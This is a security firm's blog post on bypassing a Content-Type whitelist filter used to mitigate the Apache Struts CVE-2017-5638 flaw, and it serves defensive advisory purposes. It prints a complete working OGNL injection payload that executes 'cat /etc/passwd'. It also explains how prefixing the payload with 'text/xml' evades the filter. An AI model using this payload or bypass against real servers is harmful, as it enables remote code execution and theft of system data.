New Banner 3

Services

Find out more about ProCheckUp's services including: Penetration Testing, PCI QSA and PCI DSS

More Detail

PCI DSS User Group

User Group is for merchants to come and share experiences with fellow professionals. We have regular presentations from the card schemes and acquiring banks.

Find out more & join...

Pitfalls of Content-Type Filtering for Apache Struts 2 Vulnerability CVE-2017-5638

27 April 2017 by ProCheckUp

Pitfalls of Content-Type Filtering for Apache Struts 2 Vulnerability CVE-2017-5638

 

ProCheckUp has worked with several clients throughout the process of finding, fixing and validating the Apache Struts Jakarta Multipart parser vulnerability since the issue was reported as CVE-2017-5638 in March. Several recommendations have been made by Apache with regard to mitigating/fixing this issue, some of which include:

 

Most recently, ProCheckUp worked with a client who had implemented the last recommendation listed above (implementing a servlet filter which will validate Content-Type headers and throw away suspicious values).

Initially, it appeared that this mitigation had been successful, as scanning tools (for example, Nessus/Qualys) including the popular ‘Struts-pwn.py’ script all reported the affected site as Not Vulnerable/no longer detected the issue. However, a more manually-driven investigation started to show that the Content-Type header checks may only partially validate the contents. For example, it appeared that the filter worked on a whitelist-based approach whereas only specific content-type headers were accepted. For example, using the GET request method (which should not require any content-type headers) to fetch a test login page; it was possible to submit a GET request with a valid content-type, such as text/xml, where it can be seen that the login page is successfully returned – shown in the screenshot below.

 

However, should an invalid/non-whitelisted content-type header be submitted (for example Content-Type: blabla/blabla) an error page is returned – as shown in the screenshot below.

 

However, whilst only specific content-types were accepted, the filter for this appeared to start at the beginning of the content-type header and stop once a white-listed content-type had been identified – completely ignoring the rest of the content-type header. For example a content-type header of:

Content-Type: blablablatext/xml

Was not accepted and resulted in a 200 OK response with an error message – please see the screenshot below:

However, a content type of:

Content-Type: text/xmlblablabla

Was accepted resulting in a 200 OK response and the application login (please see the screenshot below):

Using this weakness, it was possible to append POC attack strings to the end of a valid content-type header (for example text/xml which was accepted by the application). Our client informed us that they had checked the mitigation internally with the POC content-type header outlined by Qualys at the following URL and had observed an unsuccessful result: https://threatprotect.qualys.com/2017/03/08/apache-struts-jakarta-multipart-parser-remote-code-execution-vulnerability/?_ga=1.133363662.1793897493.1489070491

The POC shown at the Qualys URL listed above uses the following Content-Type header and is very similar to the payload content-type header that the popular ‘struts-pwn.py’ script uses for detection:

 Content-Type:%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'cat /etc/passwd\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

However, as previously determined the above payload would not work against our client site as the mitigation in-place requires the payload start with a valid, and accepted, Content-Type header. Therefore, by altering the POC payload above very slightly (just by starting with a valid Content-Type header), it can be seen that the payload command (whoami) has been successfully executed:

ProCheckUp therefore recommends that their clients implement the third recommended Apache option (validate Content-Type) with great care and recursive testing. This is of particular note in consideration of the vulnerability detail outlined in https://struts.apache.org/docs/s2-046.html where ‘Content-Disposition’ and ‘Content-Length’ headers are identified as potential attack vectors and ‘Content-Type’ filtering alone would not detect and prevent successful exploitation. In the first instance, it is recommended by ProCheckUp that the Apache remedial advice of upgrading to a stable, secure version of Struts be taken by our clients as soon as this is feasible.

 

Back To listing